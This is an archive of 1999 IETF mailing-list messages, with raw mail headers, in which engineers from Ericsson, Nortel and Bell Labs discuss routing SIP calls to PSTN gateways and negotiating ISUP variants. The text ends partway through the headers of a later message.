Received: from gg2ns.delhi.tcs.co.in ([202.54.61.36])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA28737
	for <confctrl@isi.edu>; Wed, 9 Jun 1999 22:27:03 -0700 (PDT)
From: pareshj@delhi.tcs.co.in
Received: from gg2mail.delhi.tcs.co.in by delhi.tcs.co.in (SMI-8.6/SMI-SVR4)
	id FAA03466; Thu, 10 Jun 1999 05:23:29 GMT
Received: by GG2MAIL with Internet Mail Service (5.5.2448.0)
	id <MSV9N4T2>; Thu, 10 Jun 1999 10:54:12 +0530
Message-ID: <E8E2EFE5BAA7D211ACE100105AA9B6BD16792A@GG2MAIL>
To: confctrl@ISI.EDU
Date: Thu, 10 Jun 1999 10:54:11 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BEB301.79009C98"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BEB301.79009C98
Content-Type: text/plain


------_=_NextPart_001_01BEB301.79009C98
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2448.0">
<TITLE></TITLE>
</HEAD>
<BODY>

</BODY>
</HTML>
------_=_NextPart_001_01BEB301.79009C98--

From confctrl-owner  Thu Jun 10 11:54:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15341
	for confctrl-outgoing; Thu, 10 Jun 1999 11:54:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15336
	for <confctrl@zephyr.isi.edu>; Thu, 10 Jun 1999 11:54:52 -0700 (PDT)
Received: from smtprtp.nortel.com (smtprtp.NortelNetworks.com [192.122.117.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29808
	for <confctrl@ISI.EDU>; Thu, 10 Jun 1999 11:54:46 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprtp.nortel.com;
          Thu, 10 Jun 1999 14:49:03 -0400
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <MMZ2F8S0>; Thu, 10 Jun 1999 13:48:59 -0500
Message-ID: <F033F6FEF3F1D111BD150000F8CD1431022BCE8B@zcard007.ca.nortel.com>
From: "James McEachern" <jmceach@nortelnetworks.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@ericsson.com>,
        Adam.Roach@ericsson.com
Cc: confctrl@ISI.EDU, Ricky Project <Ricky@lmf.ericsson.se>
Subject: RE: draft-ietf-mmusic-sip-multipart-00.txt
Date: Thu, 10 Jun 1999 13:48:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



	
	> I realise that, with the INFO extension, the subsequent messages
	> could be sent following the INVITE/IAM message; however, this
	> seems like an unnecessary amount of network overhead.

	But if you haven't received yet all the B-number, how do you know
where
	to send the INVITE?

Wouldn't you do this the same way that existing PSTN switches do it.  (i.e.
collect digits until you can identify the destination "switch" - or MGC -
then send an IAM, followed by SAMs for each additional digit.)  With an open
numbering plan, only the terminating switch really knows for sure when the
number is complete.  The use of timers to reduce SIP messages will result in
inferior service to the 80% of the worlds population served by open
numbering plans - which does not sound like a good thing to me.

The more interesting question is what should the interaction be between the
"ISUP call model" and the SIP UA in deciding where to send the SIP invites?
For example, who is responsible for locating the terminating MGC (assuming
in this case that the destination is in the PSTN)?  Does the answer depend
on whether the originator is a PSTN terminal or a SIP UA? 

	You could send it to a SIP proxy, but the proxy would have to wait
for
	the SAMs anyway to reach the proper user... and it would mean that
the
	SIP proxy understands ISUP (and we do not want this to happen,
right? ).

	You could also send it to a MGC that will end up in the PSTN network
	again, but how do you know which MGC you have to send it to?


	Gonzalo
	-- 
	Gonzalo Camarillo         Phone :  +358  9 299 33 71
	Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
	Telecom R&D               Fax   :  +358  9 299 31 18
	FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
	Finland

From confctrl-owner  Thu Jun 10 16:12:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA25275
	for confctrl-outgoing; Thu, 10 Jun 1999 16:12:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA25270
	for <confctrl@zephyr.isi.edu>; Thu, 10 Jun 1999 16:12:12 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA26215
	for <confctrl@ISI.EDU>; Thu, 10 Jun 1999 16:12:11 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id SAA10171;
	Thu, 10 Jun 1999 18:11:44 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id SAA02143;
	Thu, 10 Jun 1999 18:11:40 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id SAA03215; Thu, 10 Jun 1999 18:11:34 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id SAA02554;
	Thu, 10 Jun 1999 18:11:32 -0500 (CDT)
Message-Id: <199906102311.SAA02554@b04a24.exu.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
To: jmceach@nortelnetworks.com (James McEachern)
Date: Thu, 10 Jun 1999 18:11:31 -0500 (CDT)
Cc: Gonzalo.Camarillo@ericsson.com, Adam.Roach@ericsson.com, confctrl@ISI.EDU,
        Ricky@lmf.ericsson.se
In-Reply-To: <F033F6FEF3F1D111BD150000F8CD1431022BCE8B@zcard007.ca.nortel.com> from "James McEachern" at Jun 10, 99 01:48:54 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>The more interesting question is what should the interaction be between the
>"ISUP call model" and the SIP UA in deciding where to send the SIP invites?
>For example, who is responsible for locating the terminating MGC (assuming
>in this case that the destination is in the PSTN)?  Does the answer depend
>on whether the originator is a PSTN terminal or a SIP UA? 

This can be heavily dependant on the individual implementations
of network nodes without bothering to standardise where the
information "should" be located. That's the elegance of the
SIP protocol.

One simple solution for PSTN/SIP gateways would be for each
gateway to have a map of which number prefixes should be
sent to which destination; e.g.:

number map | destination
-----------+------------------------------------
1713*      | pstn-gw.houston.tx.us.bell.com
1218*      | pstn-gw.bemidji.mn.us.bell.com
46054*     | pstn-gw.karlstad.ks.se.bell.com
44*        | sip-proxy.bt.co.uk
1972583*   | pbx-gw.ericy.com
1800555*   | sip-redir.800.bell.com
1500555*   | sip-redir.sip-clients.bell.com
default    | bell.com

This allows the gateway owner to either specify which egress
gateway (as in the case of the Houston, Bemidji, and Karlstad
entries), a proxy server into another vendor's network
(as in the case of the 44* entry), private exchange gateways
(like the ericy entry), a redirect server for PSTN calls (like
the 800 server), and a redirect server (and probably
registrar) for native sip clients, as in the 1-500 entry.
I'll describe what I'm thinking of with the default entry
in a bit.

If a particular service provider wishes to encapsulate all
of the routing into a centralised database, they can have
just a single "default" entry which points to a proxy or 
redirect server in charge of determining a final destination.

For standard (e.g. PC-based) SIP UAs, you could have a similar
(more complete, if necessary) routing table in a redirect or
proxy server which the users are then instructed
to use. This database would probably also be used as
an authoritative routing table, to which the gateways
could "punt" in case their local routing configuration data
was insufficient.

So, for the examples I have given so far, a native SIP
client, in order to place a PSTN call to +1 214 555 1212 
which is carried and billed by bell.com would use 
"sip:+12145551212@bell.com" (which would proxy or redirect them
to "sip:+12145551212@pstn-gw.dallas.tx.us.bell.com"); if the user
wanted to use xyz.com, they would instead enter 
"sip:+12145551212@xyz.com" (which would proxy or redirect them
to "sip:+12145551212@gateway.dfw.xyz.com").

To reiterate: the answer to your question is "whatever the
service providers decide they want to do," since any solution
will be compatible with any other arbitrary solution (although
I think the basic architecure I described above has a certain
elegance).

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jun 11 00:39:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA12243
	for confctrl-outgoing; Fri, 11 Jun 1999 00:39:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA12238
	for <confctrl@zephyr.isi.edu>; Fri, 11 Jun 1999 00:39:14 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA21356
	for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 00:39:13 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id JAA28658;
	Fri, 11 Jun 1999 09:39:08 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA23366; Fri, 11 Jun 1999 10:38:37 +0300 (EET DST)
Message-ID: <3760BCC0.4CBC3D1F@ericsson.com>
Date: Fri, 11 Jun 1999 10:37:36 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Adam.Roach@ericsson.com
CC: jmceach@nortelnetworks.com, confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906102311.SAA02554@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Adam.Roach@ericsson.com wrote:
> 
> >The more interesting question is what should the interaction be between the
> >"ISUP call model" and the SIP UA in deciding where to send the SIP invites?
> >For example, who is responsible for locating the terminating MGC (assuming
> >in this case that the destination is in the PSTN)?  Does the answer depend
> >on whether the originator is a PSTN terminal or a SIP UA?

The terminating MGC should not depend on the originator... it depends on
the carrier you want to use (sip:+35892993371@telia.com or
sip:+3589293371@sonera.com).
 
> This can be heavily dependant on the individual implementations
> of network nodes without bothering to standardise where the
> information "should" be located. That's the elegance of the
> SIP protocol.
> 
> One simple solution for PSTN/SIP gateways would be for each
> gateway to have a map of which number prefixes should be
> sent to which destination; e.g.:
> 
> number map | destination
> -----------+------------------------------------
> 1713*      | pstn-gw.houston.tx.us.bell.com
> 1218*      | pstn-gw.bemidji.mn.us.bell.com
> 46054*     | pstn-gw.karlstad.ks.se.bell.com
> 44*        | sip-proxy.bt.co.uk
> 1972583*   | pbx-gw.ericy.com
> 1800555*   | sip-redir.800.bell.com
> 1500555*   | sip-redir.sip-clients.bell.com
> default    | bell.com
> 
> This allows the gateway owner to either specify which egress
> gateway (as in the case of the Houston, Bemidji, and Karlstad
> entries)

Yes, this way we can send the INVITE to the proper destination. But if
this is a PSTN/SIP gateway in the States, and we end up in Karlstad
(Sweden), which flavour of ISUP will we send in the SIP body?

We could send a "Require" header in the SIP request indicating that we
are sending ANSI ISUP.
We could answer with an "unsupported" header, since they do not want to
receive ANSI ISUP in Sweden... then, the MGC in the States would send
ITU ISUP, or whatever is understood in Karlstad...

How do you guys think this negotiation has to take place?

Regards,

Gonzalo

>, a proxy server into another vendor's network
> (as in the case of the 44* entry), private exchange gateways
> (like the ericy entry), a redirect server for PSTN calls (like
> the 800 server), and a redirect server (and probably
> registrar) for native sip clients, as in the 1-500 entry.
> I'll describe what I'm thinking of with the default entry
> in a bit.
> 
> If a particular service provider wishes to encapsulate all
> of the routing into a centralised database, they can have
> just a single "default" entry which points to a proxy or
> redirect server in charge of determining a final destination.
> 
> For standard (e.g. PC-based) SIP UAs, you could have a similar
> (more complete, if necessary) routing table in a redirect or
> proxy server which the users are then instructed
> to use. This database would probably also be used as
> an authoritative routing table, to which the gateways
> could "punt" in case their local routing configuration data
> was insufficient.
> 
> So, for the examples I have given so far, a native SIP
> client, in order to place a PSTN call to +1 214 555 1212
> which is carried and billed by bell.com would use
> "sip:+12145551212@bell.com" (which would proxy or redirect them
> to "sip:+12145551212@pstn-gw.dallas.tx.us.bell.com"); if the user
> wanted to use xyz.com, they would instead enter
> "sip:+12145551212@xyz.com" (which would proxy or redirect them
> to "sip:+12145551212@gateway.dfw.xyz.com").
> 
> To reiterate: the answer to your question is "whatever the
> service providers decide they want to do," since any solution
> will be compatible with any other arbitrary solution (although
> I think the basic architecure I described above has a certain
> elegance).
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Fri Jun 11 08:56:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA27546
	for confctrl-outgoing; Fri, 11 Jun 1999 08:56:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27533
	for <confctrl@zephyr.isi.edu>; Fri, 11 Jun 1999 08:56:40 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10591
	for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 08:56:39 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA12200;
	Fri, 11 Jun 1999 10:56:12 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA14138;
	Fri, 11 Jun 1999 10:56:08 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA22475; Fri, 11 Jun 1999 10:56:03 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA04716;
	Fri, 11 Jun 1999 10:56:00 -0500 (CDT)
Message-Id: <199906111556.KAA04716@b04a24.exu.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
To: Gonzalo.Camarillo@ericsson.com (Gonzalo Camarillo)
Date: Fri, 11 Jun 1999 10:56:00 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, jmceach@nortelnetworks.com, confctrl@ISI.EDU,
        Ricky@lmf.ericsson.se
In-Reply-To: <3760BCC0.4CBC3D1F@ericsson.com> from "Gonzalo Camarillo" at Jun 11, 99 10:37:36 am
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo Camarillo 
>Adam.Roach@ericsson.com wrote:
>> >The more interesting question is what should the interaction be between the
>> >"ISUP call model" and the SIP UA in deciding where to send the SIP invites?
>> >For example, who is responsible for locating the terminating MGC (assuming
>> >in this case that the destination is in the PSTN)?  Does the answer depend
>> >on whether the originator is a PSTN terminal or a SIP UA?
>
>The terminating MGC should not depend on the originator... it depends on
>the carrier you want to use (sip:+35892993371@telia.com or
>sip:+3589293371@sonera.com).

In the case of a native SIP terminal, this makes sense. For PSTN
service, you will not typically use an egress gateway owned by
someone other than the ingress gateway, just as I don't currently
have my long distance calls carried half the way by MCI Worldcom, and
the other half of the way by Sprint. 

>> One simple solution for PSTN/SIP gateways would be for each
>> gateway to have a map of which number prefixes should be
>> sent to which destination; e.g.:
>> 
>> number map | destination
>> -----------+------------------------------------
>> 1713*      | pstn-gw.houston.tx.us.bell.com
>> 1218*      | pstn-gw.bemidji.mn.us.bell.com
>> 46054*     | pstn-gw.karlstad.ks.se.bell.com
>> 44*        | sip-proxy.bt.co.uk
>> 1972583*   | pbx-gw.ericy.com
>> 1800555*   | sip-redir.800.bell.com
>> 1500555*   | sip-redir.sip-clients.bell.com
>> default    | bell.com
>> 
>> This allows the gateway owner to either specify which egress
>> gateway (as in the case of the Houston, Bemidji, and Karlstad
>> entries)
>
>Yes, this way we can send the INVITE to the proper destination. But if
>this is a PSTN/SIP gateway in the States, and we end up in Karlstad
>(Sweden), which flavour of ISUP will we send in the SIP body?

The simple answer would be, "none." The Karlstad gateway is already
going to have the capability of creating ISUP messages to allow
native SIP clients to place outgoing calls. 

If transit of ISUP parameters is important for out applications,
and we know how to perform the translations, we could transit 
International ISUP, ITU ISUP, or a local variant of ISUP.

>How do you guys think this negotiation has to take place?

For the above cases, since we're already provisioning information
about the gateways, it could quite easily be part of the same
table (this table assumes we have a super fantastic gateway
that can do arbitrary signalling translations):

number map | destination                        | signalling   | public key
-----------+------------------------------------+--------------+-------------
1713*      | pstn-gw.houston.tx.us.bell.com     | ANSI ISUP    | A246FD87...
1218*      | pstn-gw.bemidji.mn.us.bell.com     | ANSI ISUP    | D6438E75...
46054*     | pstn-gw.karlstad.ks.se.bell.com    | ITU ISUP     | 938EF64A...
322*       | pstn-gw.brussels.be.bell.com       | Belgian ISUP | 3E71F29E...
44*        | sip-proxy.bt.co.uk                 | BT NUP       | 375D17FA...
1972583*   | pbx-gw.ericy.com                   | NONE         | -
1800555*   | sip-redir.800.bell.com             | ANSI ISUP    | E93F2A7E...
1500555*   | sip-redir.sip-clients.bell.com     | NONE         | -
default    | bell.com                           | NONE         | -

Because of regulations in some countries, we will always need to
have the option of blocking ISUP transit to selected destinations;
starting out with the assumption that we can just go ahead and
send out the local varient to see if it gets rejected may land 
operators in legal problems.

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jun 11 15:02:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA13434
	for confctrl-outgoing; Fri, 11 Jun 1999 15:02:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA13429
	for <confctrl@zephyr.isi.edu>; Fri, 11 Jun 1999 15:02:41 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12497
	for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 15:02:40 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id RAA01165
	for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 17:02:14 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id RAA22159
	for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 17:02:05 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA04364 for <confctrl@ISI.EDU>; Fri, 11 Jun 1999 17:02:02 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id RAA06649
	for confctrl@ISI.EDU; Fri, 11 Jun 1999 17:01:57 -0500 (CDT)
Message-Id: <199906112201.RAA06649@b04a24.exu.ericsson.se>
Subject: <draft-roach-sip-isup-parameters-00.txt>
To: confctrl@ISI.EDU
Date: Fri, 11 Jun 1999 17:01:56 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The following internet draft is now available:

"ISUP parameters expected in SIP messages"

Abstract

     To assure inter-operability between gateways which may choose to
     transit ISUP messages inside a SIP network, this document seeks
     to outline the types of ISUP messages which an implementation can
     sensibly expect to arrive in each given SIP message.

http://www.ietf.org/internet-drafts/draft-roach-sip-isup-parameters-00.txt

This document has been submitted as a private draft instead of a group
draft in deference to the policies of the MMUSIC working group; it will
be changed to a group draft if there is sufficient interest.

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jun 11 18:12:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA12236
	for confctrl-outgoing; Fri, 11 Jun 1999 18:12:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA12231
	for <confctrl@zephyr.isi.edu>; Fri, 11 Jun 1999 18:12:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA28413
	for <confctrl@isi.edu>; Fri, 11 Jun 1999 18:12:02 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Jun 11 21:10:57 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id VAA09992
	for <confctrl@isi.edu>; Fri, 11 Jun 1999 21:10:36 -0400 (EDT)
Message-ID: <3761B329.3790B57C@cs.columbia.edu>
Date: Fri, 11 Jun 1999 21:08:57 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: White paper on interaction of SIP and resource reservation
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

See http://www.cs.columbia.edu/~hgs/sip/drafts/resource.pdf

Comments are appreciated. The Internet draft will follow shortly.

Thanks.

Henning

From confctrl-owner  Fri Jun 11 19:24:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA15206
	for confctrl-outgoing; Fri, 11 Jun 1999 19:24:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA15201
	for <confctrl@zephyr.isi.edu>; Fri, 11 Jun 1999 19:24:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA01964
	for <confctrl@isi.edu>; Fri, 11 Jun 1999 19:24:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Jun 11 22:22:47 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.77])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA25306;
	Fri, 11 Jun 1999 22:22:33 -0400 (EDT)
Message-ID: <3761C480.84987A9A@dnrc.bell-labs.com>
Date: Fri, 11 Jun 1999 22:22:56 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>,
        jmceach@nortelnetworks.com, confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906111556.KAA04716@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >The terminating MGC should not depend on the originator... it depends on
> >the carrier you want to use (sip:+35892993371@telia.com or
> >sip:+3589293371@sonera.com).
> 
> In the case of a native SIP terminal, this makes sense. For PSTN
> service, you will not typically use an egress gateway owned by
> someone other than the ingress gateway, just as I don't currently
> have my long distance calls carried half the way by MCI Worldcom, and
> the other half of the way by Sprint.

Well, you do have separate local carriers and long distance carriers.
So, in the PSTN, your call is often carried by three different providers
along the way (two locals, one on each end, and a long distance
provider). Possibly more for international calls.

I think its highly unlikely that the same organization that owns the
ingress gateway will always own the egress. For international calls in
particular, you cannot expect them both to be by the same provider.
Rather, I would expect inter-provider relationships to be established to
share gateways amongst each other. This is already happening with
clearinghouses like ITXC.

In fact, this is the reason for the Gateway Location Protocol in iptel -
to allow providers to exchange gateway routing information.


> >How do you guys think this negotiation has to take place?
> 
> For the above cases, since we're already provisioning information
> about the gateways, it could quite easily be part of the same
> table (this table assumes we have a super fantastic gateway
> that can do arbitrary signalling translations):
> 
> number map | destination                        | signalling   | public key
> -----------+------------------------------------+--------------+-------------
> 1713*      | pstn-gw.houston.tx.us.bell.com     | ANSI ISUP    | A246FD87...
> 1218*      | pstn-gw.bemidji.mn.us.bell.com     | ANSI ISUP    | D6438E75...
> 46054*     | pstn-gw.karlstad.ks.se.bell.com    | ITU ISUP     | 938EF64A...
> 322*       | pstn-gw.brussels.be.bell.com       | Belgian ISUP | 3E71F29E...
> 44*        | sip-proxy.bt.co.uk                 | BT NUP       | 375D17FA...
> 1972583*   | pbx-gw.ericy.com                   | NONE         | -
> 1800555*   | sip-redir.800.bell.com             | ANSI ISUP    | E93F2A7E...
> 1500555*   | sip-redir.sip-clients.bell.com     | NONE         | -
> default    | bell.com                           | NONE         | -
> 
> Because of regulations in some countries, we will always need to
> have the option of blocking ISUP transit to selected destinations;
> starting out with the assumption that we can just go ahead and
> send out the local varient to see if it gets rejected may land
> operators in legal problems.

It seems unlikely that a provider will be able to build up a table of
every single gateway in every single remote provider which might be
contacted. Rather, a provider might know that calls for +44 get routed
to a particular SIP server, and from there the calls are distributed to
specific gateways. What I am talking about is aggregation - the table
above would really contain "next hops", not destination gateways. This
kind of aggregation has been the cornerstone of inter-domain routing
mechanisms on the Internet.

This fact only makes the ISUP-flavor problem worse. I believe the ideal
solution is to agree on a common flavor for the Internet. Think of the
Internet as another "country" with a speific flavor. When you talk to a
gateway in this pseudo-country, you convert to its flavor just as you
might need to do at other international boundaries. Whether this is
politically or economically feasible is a good question that I don't
know the answer to.

If we presume that we don't generally know the terminating UAS for every
phone number, its possible that the request terminates at a regular IP
host, like a standalone IP phone or a PC. In this case, sending it ISUP
is probably not a good idea. But how would you know in the first place?

In a closed, singly owned administrative authority, it is certainly
feasible to know the actual gateway that would terminate each call, and
what flavor it speaks. However, if they are all owned by the same
authority, they are all likely to speak the same ISUP flavor anyway...

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sat Jun 12 00:38:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA25504
	for confctrl-outgoing; Sat, 12 Jun 1999 00:38:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA25498
	for <confctrl@zephyr.isi.edu>; Sat, 12 Jun 1999 00:38:03 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA09123
